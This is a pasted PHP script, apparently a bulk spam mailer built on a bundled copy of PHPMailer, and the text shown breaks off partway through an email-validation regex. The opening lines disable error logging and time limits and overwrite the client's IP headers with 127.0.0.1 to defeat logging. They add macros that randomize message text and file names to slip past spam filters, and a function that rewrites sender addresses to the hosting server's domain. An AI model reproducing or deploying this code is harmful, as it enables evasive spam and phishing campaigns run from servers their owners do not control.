Guest User

Untitled

a guest
Jan 11th, 2017
549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.88 KB | None | 0 0
  1. @ini_set('error_log', NULL);
  2. @ini_set('log_errors', 0);
  3. @ini_set('max_execution_time', 0);
  4. @set_time_limit(0);
  5.  
  6. if(isset($_SERVER))
  7. {
  8. $_SERVER['PHP_SELF'] = "/";
  9. $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  10. if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  11. {
  12. $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  13. }
  14. }
  15. if(isset($_FILES))
  16. {
  17. foreach($_FILES as $key => $file)
  18. {
  19. if(!strpos($file['name'], ".jpg"))
  20. {
  21. $filename = alter_macros($file['name']);
  22. $filename = num_macros($filename);
  23. $filename = xnum_macros($filename);
  24. $_FILES[$key]["name"] = $filename;
  25. }
  26. }
  27. }
  28.  
  29. function custom_strip_tags($text)
  30. {
  31. $text = strip_tags($text, '<a>');
  32. $text = str_replace("<a href=\"", "[ ", $text);
  33. $text = str_replace("</a>", "", $text);
  34. $text = str_replace("\">", " ] ", $text);
  35. return $text;
  36. }
  37. function is_ip($str) {
  38. return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  39. }
  40. function from_host($content)
  41. {
  42. $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  43. if (is_ip($host))
  44. {
  45. return $content;
  46. }
  47.  
  48. $tokens = explode("@", $content);
  49. $content = $tokens[0] . "@" . $host . ">";
  50. return $content;
  51. }
  52. function alter_macros($content)
  53. {
  54. preg_match_all('#{(.*)}#Ui', $content, $matches);
  55. for($i = 0; $i < count($matches[1]); $i++)
  56. {
  57. $ns = explode("|", $matches[1][$i]);
  58. $c2 = count($ns);
  59. $rand = rand(0, ($c2 - 1));
  60. $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  61. }
  62. return $content;
  63. }
  64.  
  65. function xnum_macros($content)
  66. {
  67. preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  68. for($i = 0; $i < count($matches[0]); $i++)
  69. {
  70. $num = $matches[1][$i];
  71. $min = pow(10, $num - 1);
  72. $max = pow(10, $num) - 1;
  73. $rand = rand($min, $max);
  74. $content = str_replace($matches[0][$i], $rand, $content);
  75. }
  76. return $content;
  77. }
  78. function num_macros($content)
  79. {
  80. preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  81. for($i = 0; $i < count($matches[0]); $i++)
  82. {
  83. $min = $matches[1][$i];
  84. $max = $matches[2][$i];
  85. $rand = rand($min, $max);
  86. $content = str_replace($matches[0][$i], $rand, $content);
  87. }
  88. return $content;
  89. }
  90.  
  91. function fteil_macros($content, $fteil)
  92. {
  93. return str_replace("[FTEIL]", $fteil, $content);
  94. }
  95. class SMTP
  96. {
  97. const VERSION = '5.2.10';
  98. const CRLF = "\r\n";
  99. const DEFAULT_SMTP_PORT = 25;
  100. const MAX_LINE_LENGTH = 998;
  101. const DEBUG_OFF = 0;
  102. const DEBUG_CLIENT = 1;
  103. const DEBUG_SERVER = 2;
  104. const DEBUG_CONNECTION = 3;
  105. const DEBUG_LOWLEVEL = 4;
  106. public $Version = '5.2.10';
  107. public $SMTP_PORT = 25;
  108. public $CRLF = "\r\n";
  109. public $do_debug = self::DEBUG_OFF;
  110. public $Debugoutput = 'echo';
  111. public $do_verp = false;
  112. public $Timeout = 300;
  113. public $Timelimit = 300;
  114. protected $smtp_conn;
  115. protected $error = array(
  116. 'error' => '',
  117. 'detail' => '',
  118. 'smtp_code' => '',
  119. 'smtp_code_ex' => ''
  120. );
  121. protected $helo_rply = null;
  122. protected $server_caps = null;
  123. protected $last_reply = '';
  124. protected function edebug($str, $level = 0)
  125. {
  126. if ($level > $this->do_debug) {
  127. return;
  128. }
  129. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  130. call_user_func($this->Debugoutput, $str, $this->do_debug);
  131. return;
  132. }
  133. switch ($this->Debugoutput) {
  134. case 'error_log':
  135. error_log($str);
  136. break;
  137. case 'html':
  138. echo htmlentities(
  139. preg_replace('/[\r\n]+/', '', $str),
  140. ENT_QUOTES,
  141. 'UTF-8'
  142. )
  143. . "<br>\n";
  144. break;
  145. case 'echo':
  146. default:
  147. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  148. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  149. "\n",
  150. "\n \t ",
  151. trim($str)
  152. )."\n";
  153. }
  154. }
  155. public function connect($host, $port = null, $timeout = 30, $options = array())
  156. {
  157. static $streamok;
  158. if (is_null($streamok)) {
  159. $streamok = function_exists('stream_socket_client');
  160. }
  161. $this->setError('');
  162. if ($this->connected()) {
  163. $this->setError('Already connected to a server');
  164. return false;
  165. }
  166. if (empty($port)) {
  167. $port = self::DEFAULT_SMTP_PORT;
  168. }
  169. $this->edebug(
  170. "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  171. self::DEBUG_CONNECTION
  172. );
  173. $errno = 0;
  174. $errstr = '';
  175. if ($streamok) {
  176. $socket_context = stream_context_create($options);
  177. $this->smtp_conn = @stream_socket_client(
  178. $host . ":" . $port,
  179. $errno,
  180. $errstr,
  181. $timeout,
  182. STREAM_CLIENT_CONNECT,
  183. $socket_context
  184. );
  185. } else {
  186. $this->edebug(
  187. "Connection: stream_socket_client not available, falling back to fsockopen",
  188. self::DEBUG_CONNECTION
  189. );
  190. $this->smtp_conn = fsockopen(
  191. $host,
  192. $port,
  193. $errno,
  194. $errstr,
  195. $timeout
  196. );
  197. }
  198. if (!is_resource($this->smtp_conn)) {
  199. $this->setError(
  200. 'Failed to connect to server',
  201. $errno,
  202. $errstr
  203. );
  204. $this->edebug(
  205. 'SMTP ERROR: ' . $this->error['error']
  206. . ": $errstr ($errno)",
  207. self::DEBUG_CLIENT
  208. );
  209. return false;
  210. }
  211. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  212. if (substr(PHP_OS, 0, 3) != 'WIN') {
  213. $max = ini_get('max_execution_time');
  214. if ($max != 0 && $timeout > $max) {
  215. @set_time_limit($timeout);
  216. }
  217. stream_set_timeout($this->smtp_conn, $timeout, 0);
  218. }
  219. $announce = $this->get_lines();
  220. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  221. return true;
  222. }
  223. public function startTLS()
  224. {
  225. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  226. return false;
  227. }
  228. if (!stream_socket_enable_crypto(
  229. $this->smtp_conn,
  230. true,
  231. STREAM_CRYPTO_METHOD_TLS_CLIENT
  232. )) {
  233. return false;
  234. }
  235. return true;
  236. }
  237. public function authenticate(
  238. $username,
  239. $password,
  240. $authtype = null,
  241. $realm = '',
  242. $workstation = ''
  243. ) {
  244. if (!$this->server_caps) {
  245. $this->setError('Authentication is not allowed before HELO/EHLO');
  246. return false;
  247. }
  248. if (array_key_exists('EHLO', $this->server_caps)) {
  249. if (!array_key_exists('AUTH', $this->server_caps)) {
  250. $this->setError('Authentication is not allowed at this stage');
  251. return false;
  252. }
  253. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  254. self::edebug(
  255. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  256. self::DEBUG_LOWLEVEL
  257. );
  258. if (empty($authtype)) {
  259. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  260. if (in_array($method, $this->server_caps['AUTH'])) {
  261. $authtype = $method;
  262. break;
  263. }
  264. }
  265. if (empty($authtype)) {
  266. $this->setError('No supported authentication methods found');
  267. return false;
  268. }
  269. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  270. }
  271. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  272. $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  273. return false;
  274. }
  275. } elseif (empty($authtype)) {
  276. $authtype = 'LOGIN';
  277. }
  278. switch ($authtype) {
  279. case 'PLAIN':
  280. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  281. return false;
  282. }
  283. if (!$this->sendCommand(
  284. 'User & Password',
  285. base64_encode("\0" . $username . "\0" . $password),
  286. 235
  287. )
  288. ) {
  289. return false;
  290. }
  291. break;
  292. case 'LOGIN':
  293. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  294. return false;
  295. }
  296. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  297. return false;
  298. }
  299. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  300. return false;
  301. }
  302. break;
  303. case 'NTLM':
  304. require_once 'extras/ntlm_sasl_client.php';
  305. $temp = new stdClass;
  306. $ntlm_client = new ntlm_sasl_client_class;
  307. if (!$ntlm_client->Initialize($temp)) {
  308. $this->setError($temp->error);
  309. $this->edebug(
  310. 'You need to enable some modules in your php.ini file: '
  311. . $this->error['error'],
  312. self::DEBUG_CLIENT
  313. );
  314. return false;
  315. }
  316. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  317. if (!$this->sendCommand(
  318. 'AUTH NTLM',
  319. 'AUTH NTLM ' . base64_encode($msg1),
  320. 334
  321. )
  322. ) {
  323. return false;
  324. }
  325. $challenge = substr($this->last_reply, 3);
  326. $challenge = b64d($challenge);
  327. $ntlm_res = $ntlm_client->NTLMResponse(
  328. substr($challenge, 24, 8),
  329. $password
  330. );
  331. $msg3 = $ntlm_client->TypeMsg3(
  332. $ntlm_res,
  333. $username,
  334. $realm,
  335. $workstation
  336. );
  337. return $this->sendCommand('Username', base64_encode($msg3), 235);
  338. case 'CRAM-MD5':
  339. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  340. return false;
  341. }
  342. $challenge = b64d(substr($this->last_reply, 4));
  343. $response = $username . ' ' . $this->hmac($challenge, $password);
  344. return $this->sendCommand('Username', base64_encode($response), 235);
  345. default:
  346. $this->setError("Authentication method \"$authtype\" is not supported");
  347. return false;
  348. }
  349. return true;
  350. }
  351. protected function hmac($data, $key)
  352. {
  353. if (function_exists('hash_hmac')) {
  354. return hash_hmac('md5', $data, $key);
  355. }
  356. $bytelen = 64; // byte length for md5
  357. if (strlen($key) > $bytelen) {
  358. $key = pack('H*', md5($key));
  359. }
  360. $key = str_pad($key, $bytelen, chr(0x00));
  361. $ipad = str_pad('', $bytelen, chr(0x36));
  362. $opad = str_pad('', $bytelen, chr(0x5c));
  363. $k_ipad = $key ^ $ipad;
  364. $k_opad = $key ^ $opad;
  365. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  366. }
  367. public function connected()
  368. {
  369. if (is_resource($this->smtp_conn)) {
  370. $sock_status = stream_get_meta_data($this->smtp_conn);
  371. if ($sock_status['eof']) {
  372. $this->edebug(
  373. 'SMTP NOTICE: EOF caught while checking if connected',
  374. self::DEBUG_CLIENT
  375. );
  376. $this->close();
  377. return false;
  378. }
  379. return true; // everything looks good
  380. }
  381. return false;
  382. }
  383. public function close()
  384. {
  385. $this->setError('');
  386. $this->server_caps = null;
  387. $this->helo_rply = null;
  388. if (is_resource($this->smtp_conn)) {
  389. fclose($this->smtp_conn);
  390. $this->smtp_conn = null; //Makes for cleaner serialization
  391. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  392. }
  393. }
  394. public function data($msg_data)
  395. {
  396. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  397. return false;
  398. }
  399. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  400. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  401. $in_headers = false;
  402. if (!empty($field) && strpos($field, ' ') === false) {
  403. $in_headers = true;
  404. }
  405. foreach ($lines as $line) {
  406. $lines_out = array();
  407. if ($in_headers and $line == '') {
  408. $in_headers = false;
  409. }
  410. while (isset($line[self::MAX_LINE_LENGTH])) {
  411. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  412. if (!$pos) {
  413. $pos = self::MAX_LINE_LENGTH - 1;
  414. $lines_out[] = substr($line, 0, $pos);
  415. $line = substr($line, $pos);
  416. } else {
  417. $lines_out[] = substr($line, 0, $pos);
  418. $line = substr($line, $pos + 1);
  419. }
  420. if ($in_headers) {
  421. $line = "\t" . $line;
  422. }
  423. }
  424. $lines_out[] = $line;
  425. foreach ($lines_out as $line_out) {
  426. if (!empty($line_out) and $line_out[0] == '.') {
  427. $line_out = '.' . $line_out;
  428. }
  429. $this->client_send($line_out . self::CRLF);
  430. }
  431. }
  432. $savetimelimit = $this->Timelimit;
  433. $this->Timelimit = $this->Timelimit * 2;
  434. $result = $this->sendCommand('DATA END', '.', 250);
  435. $this->Timelimit = $savetimelimit;
  436. return $result;
  437. }
  438. public function hello($host = '')
  439. {
  440. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  441. }
  442. protected function sendHello($hello, $host)
  443. {
  444. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  445. $this->helo_rply = $this->last_reply;
  446. if ($noerror) {
  447. $this->parseHelloFields($hello);
  448. } else {
  449. $this->server_caps = null;
  450. }
  451. return $noerror;
  452. }
  453. protected function parseHelloFields($type)
  454. {
  455. $this->server_caps = array();
  456. $lines = explode("\n", $this->last_reply);
  457. foreach ($lines as $n => $s) {
  458. $s = trim(substr($s, 4));
  459. if (!$s) {
  460. continue;
  461. }
  462. $fields = explode(' ', $s);
  463. if (!empty($fields)) {
  464. if (!$n) {
  465. $name = $type;
  466. $fields = $fields[0];
  467. } else {
  468. $name = array_shift($fields);
  469. if ($name == 'SIZE') {
  470. $fields = ($fields) ? $fields[0] : 0;
  471. }
  472. }
  473. $this->server_caps[$name] = ($fields ? $fields : true);
  474. }
  475. }
  476. }
  477. public function mail($from)
  478. {
  479. $useVerp = ($this->do_verp ? ' XVERP' : '');
  480. return $this->sendCommand(
  481. 'MAIL FROM',
  482. 'MAIL FROM:<' . $from . '>' . $useVerp,
  483. 250
  484. );
  485. }
  486. public function quit($close_on_error = true)
  487. {
  488. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  489. $err = $this->error; //Save any error
  490. if ($noerror or $close_on_error) {
  491. $this->close();
  492. $this->error = $err; //Restore any error from the quit command
  493. }
  494. return $noerror;
  495. }
  496. public function recipient($toaddr)
  497. {
  498. return $this->sendCommand(
  499. 'RCPT TO',
  500. 'RCPT TO:<' . $toaddr . '>',
  501. array(250, 251)
  502. );
  503. }
  504. public function reset()
  505. {
  506. return $this->sendCommand('RSET', 'RSET', 250);
  507. }
  508. protected function sendCommand($command, $commandstring, $expect)
  509. {
  510. if (!$this->connected()) {
  511. $this->setError("Called $command without being connected");
  512. return false;
  513. }
  514. $this->client_send($commandstring . self::CRLF);
  515. $this->last_reply = $this->get_lines();
  516. $matches = array();
  517. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  518. $code = $matches[1];
  519. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  520. $detail = preg_replace(
  521. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  522. '',
  523. $this->last_reply
  524. );
  525. } else {
  526. $code = substr($this->last_reply, 0, 3);
  527. $code_ex = null;
  528. $detail = substr($this->last_reply, 4);
  529. }
  530. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  531. if (!in_array($code, (array)$expect)) {
  532. $this->setError(
  533. "$command command failed",
  534. $detail,
  535. $code,
  536. $code_ex
  537. );
  538. $this->edebug(
  539. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  540. self::DEBUG_CLIENT
  541. );
  542. return false;
  543. }
  544. $this->setError('');
  545. return true;
  546. }
  547. public function sendAndMail($from)
  548. {
  549. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  550. }
  551. public function verify($name)
  552. {
  553. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  554. }
  555. public function noop()
  556. {
  557. return $this->sendCommand('NOOP', 'NOOP', 250);
  558. }
  559. public function turn()
  560. {
  561. $this->setError('The SMTP TURN command is not implemented');
  562. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  563. return false;
  564. }
  565. public function client_send($data)
  566. {
  567. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  568. return fwrite($this->smtp_conn, $data);
  569. }
  570. public function getError()
  571. {
  572. return $this->error;
  573. }
  574. public function getServerExtList()
  575. {
  576. return $this->server_caps;
  577. }
  578. public function getServerExt($name)
  579. {
  580. if (!$this->server_caps) {
  581. $this->setError('No HELO/EHLO was sent');
  582. return null;
  583. }
  584. // the tight logic knot ;)
  585. if (!array_key_exists($name, $this->server_caps)) {
  586. if ($name == 'HELO') {
  587. return $this->server_caps['EHLO'];
  588. }
  589. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  590. return false;
  591. }
  592. $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  593. return null;
  594. }
  595. return $this->server_caps[$name];
  596. }
  597. public function getLastReply()
  598. {
  599. return $this->last_reply;
  600. }
  601. protected function get_lines()
  602. {
  603. if (!is_resource($this->smtp_conn)) {
  604. return '';
  605. }
  606. $data = '';
  607. $endtime = 0;
  608. stream_set_timeout($this->smtp_conn, $this->Timeout);
  609. if ($this->Timelimit > 0) {
  610. $endtime = time() + $this->Timelimit;
  611. }
  612. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  613. $str = @fgets($this->smtp_conn, 515);
  614. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  615. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  616. $data .= $str;
  617. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  618. if ((isset($str[3]) and $str[3] == ' ')) {
  619. break;
  620. }
  621. $info = stream_get_meta_data($this->smtp_conn);
  622. if ($info['timed_out']) {
  623. $this->edebug(
  624. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  625. self::DEBUG_LOWLEVEL
  626. );
  627. break;
  628. }
  629. if ($endtime and time() > $endtime) {
  630. $this->edebug(
  631. 'SMTP -> get_lines(): timelimit reached ('.
  632. $this->Timelimit . ' sec)',
  633. self::DEBUG_LOWLEVEL
  634. );
  635. break;
  636. }
  637. }
  638. return $data;
  639. }
  640. public function setVerp($enabled = false)
  641. {
  642. $this->do_verp = $enabled;
  643. }
  644. public function getVerp()
  645. {
  646. return $this->do_verp;
  647. }
  648. protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  649. {
  650. $this->error = array(
  651. 'error' => $message,
  652. 'detail' => $detail,
  653. 'smtp_code' => $smtp_code,
  654. 'smtp_code_ex' => $smtp_code_ex
  655. );
  656. }
  657. public function setDebugOutput($method = 'echo')
  658. {
  659. $this->Debugoutput = $method;
  660. }
  661. public function getDebugOutput()
  662. {
  663. return $this->Debugoutput;
  664. }
  665. public function setDebugLevel($level = 0)
  666. {
  667. $this->do_debug = $level;
  668. }
  669. public function getDebugLevel()
  670. {
  671. return $this->do_debug;
  672. }
  673. public function setTimeout($timeout = 0)
  674. {
  675. $this->Timeout = $timeout;
  676. }
  677. public function getTimeout()
  678. {
  679. return $this->Timeout;
  680. }
  681. }
  682. class PHPMailer
  683. {
  684. public $Version = '5.2.9';
  685. public $Priority = 3;
  686. public $CharSet = 'iso-8859-1';
  687. public $ContentType = 'text/plain';
  688. public $Encoding = '8bit';
  689. public $ErrorInfo = '';
  690. public $From = 'root@localhost';
  691. public $FromName = 'Root User';
  692. public $Sender = '';
  693. public $ReturnPath = '';
  694. public $Subject = '';
  695. public $Body = '';
  696. public $AltBody = '';
  697. public $Ical = '';
  698. protected $MIMEBody = '';
  699. protected $MIMEHeader = '';
  700. protected $mailHeader = '';
  701. public $WordWrap = 0;
  702. public $Mailer = 'mail';
  703. public $Sendmail = '/usr/sbin/sendmail';
  704. public $UseSendmailOptions = true;
  705. public $PluginDir = '';
  706. public $ConfirmReadingTo = '';
  707. public $Hostname = '';
  708. public $MessageID = '';
  709. public $MessageDate = '';
  710. public $Host = 'localhost';
  711. public $Port = 25;
  712. public $Helo = '';
  713. public $SMTPSecure = '';
  714. public $SMTPAuth = false;
  715. public $Username = '';
  716. public $Password = '';
  717. public $AuthType = '';
  718. public $Realm = '';
  719. public $Workstation = '';
  720. public $Timeout = 300;
  721. public $SMTPDebug = 0;
  722. public $Debugoutput = 'echo';
  723. public $SMTPKeepAlive = false;
  724. public $SingleTo = false;
  725. public $SingleToArray = array();
  726. public $do_verp = false;
  727. public $AllowEmpty = false;
  728. public $LE = "\n";
  729. public $DKIM_selector = '';
  730. public $DKIM_identity = '';
  731. public $DKIM_passphrase = '';
  732. public $DKIM_domain = '';
  733. public $DKIM_private = '';
  734. public $action_function = '';
  735. public $XMailer = '';
  736. protected $smtp = null;
  737. protected $to = array();
  738. protected $cc = array();
  739. protected $bcc = array();
  740. protected $ReplyTo = array();
  741. protected $all_recipients = array();
  742. protected $attachment = array();
  743. protected $CustomHeader = array();
  744. protected $lastMessageID = '';
  745. protected $message_type = '';
  746. protected $boundary = array();
  747. protected $language = array();
  748. protected $error_count = 0;
  749. protected $sign_cert_file = '';
  750. protected $sign_key_file = '';
  751. protected $sign_key_pass = '';
  752. protected $exceptions = false;
  753. const STOP_MESSAGE = 0;
  754. const STOP_CONTINUE = 1;
  755. const STOP_CRITICAL = 2;
  756. const CRLF = "\r\n";
  757. public function __construct($exceptions = false)
  758. {
  759. $this->exceptions = (boolean)$exceptions;
  760. }
  761. public function __destruct()
  762. {
  763. }
  764. private function mailPassthru($to, $subject, $body, $header, $params)
  765. {
  766. //Check overloading of mail function to avoid double-encoding
  767. if (ini_get('mbstring.func_overload') & 1) {
  768. $subject = $this->secureHeader($subject);
  769. } else {
  770. $subject = $this->encodeHeader($this->secureHeader($subject));
  771. }
  772. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  773. $result = @mail($to, $subject, $body, $header);
  774. } else {
  775. $result = @mail($to, $subject, $body, $header, $params);
  776. }
  777. return $result;
  778. }
  779. protected function edebug($str)
  780. {
  781. if ($this->SMTPDebug <= 0) {
  782. return;
  783. }
  784. //Avoid clash with built-in function names
  785. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  786. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  787. return;
  788. }
  789. switch ($this->Debugoutput) {
  790. case 'error_log':
  791. //Don't output, just log
  792. error_log($str);
  793. break;
  794. case 'html':
  795. //Cleans up output a bit for a better looking, HTML-safe output
  796. echo htmlentities(
  797. preg_replace('/[\r\n]+/', '', $str),
  798. ENT_QUOTES,
  799. 'UTF-8'
  800. )
  801. . "<br>\n";
  802. break;
  803. case 'echo':
  804. default:
  805. //Normalize line breaks
  806. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  807. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  808. "\n",
  809. "\n \t ",
  810. trim($str)
  811. ) . "\n";
  812. }
  813. }
  814. public function isHTML($isHtml = true)
  815. {
  816. if ($isHtml) {
  817. $this->ContentType = 'text/html';
  818. } else {
  819. $this->ContentType = 'text/plain';
  820. }
  821. }
  822. public function isSMTP()
  823. {
  824. $this->Mailer = 'smtp';
  825. }
  826. public function isMail()
  827. {
  828. $this->Mailer = 'mail';
  829. }
  830. public function isSendmail()
  831. {
  832. $ini_sendmail_path = ini_get('sendmail_path');
  833. if (!stristr($ini_sendmail_path, 'sendmail')) {
  834. $this->Sendmail = '/usr/sbin/sendmail';
  835. } else {
  836. $this->Sendmail = $ini_sendmail_path;
  837. }
  838. $this->Mailer = 'sendmail';
  839. }
  840. public function isQmail()
  841. {
  842. $ini_sendmail_path = ini_get('sendmail_path');
  843. if (!stristr($ini_sendmail_path, 'qmail')) {
  844. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  845. } else {
  846. $this->Sendmail = $ini_sendmail_path;
  847. }
  848. $this->Mailer = 'qmail';
  849. }
  850. public function addAddress($address, $name = '')
  851. {
  852. return $this->addAnAddress('to', $address, $name);
  853. }
  854. public function addCC($address, $name = '')
  855. {
  856. return $this->addAnAddress('cc', $address, $name);
  857. }
  858. public function addBCC($address, $name = '')
  859. {
  860. return $this->addAnAddress('bcc', $address, $name);
  861. }
  862. public function addReplyTo($address, $name = '')
  863. {
  864. return $this->addAnAddress('Reply-To', $address, $name);
  865. }
  866. protected function addAnAddress($kind, $address, $name = '')
  867. {
  868. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  869. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  870. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  871. if ($this->exceptions) {
  872. throw new phpmailerException('Invalid recipient array: ' . $kind);
  873. }
  874. return false;
  875. }
  876. $address = trim($address);
  877. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  878. if (!$this->validateAddress($address)) {
  879. $this->setError($this->lang('invalid_address') . ': ' . $address);
  880. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  881. if ($this->exceptions) {
  882. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  883. }
  884. return false;
  885. }
  886. if ($kind != 'Reply-To') {
  887. if (!isset($this->all_recipients[strtolower($address)])) {
  888. array_push($this->$kind, array($address, $name));
  889. $this->all_recipients[strtolower($address)] = true;
  890. return true;
  891. }
  892. } else {
  893. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  894. $this->ReplyTo[strtolower($address)] = array($address, $name);
  895. return true;
  896. }
  897. }
  898. return false;
  899. }
  900. public function setFrom($address, $name = '', $auto = true)
  901. {
  902. $address = trim($address);
  903. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  904. if (!$this->validateAddress($address)) {
  905. $this->setError($this->lang('invalid_address') . ': ' . $address);
  906. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  907. if ($this->exceptions) {
  908. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  909. }
  910. return false;
  911. }
  912. $this->From = $address;
  913. $this->FromName = $name;
  914. if ($auto) {
  915. if (empty($this->Sender)) {
  916. $this->Sender = $address;
  917. }
  918. }
  919. return true;
  920. }
  921. public function getLastMessageID()
  922. {
  923. return $this->lastMessageID;
  924. }
  925. public static function validateAddress($address, $patternselect = 'auto')
  926. {
  927. if (!$patternselect or $patternselect == 'auto') {
  928. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  929. //Constant was added in PHP 5.2.4
  930. if (defined('PCRE_VERSION')) {
  931. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  932. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  933. $patternselect = 'pcre8';
  934. } else {
  935. $patternselect = 'pcre';
  936. }
  937. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  938. //Fall back to older PCRE
  939. $patternselect = 'pcre';
  940. } else {
  941. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  942. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  943. $patternselect = 'php';
  944. } else {
  945. $patternselect = 'noregex';
  946. }
  947. }
  948. }
  949. switch ($patternselect) {
  950. case 'pcre8':
  951. return (boolean)preg_match(
  952. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  953. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  954. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  955. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  956. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  957. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  958. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  959. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  960. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  961. $address
  962. );
  963. case 'pcre':
  964. //An older regex that doesn't need a recent PCRE
  965. return (boolean)preg_match(
  966. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
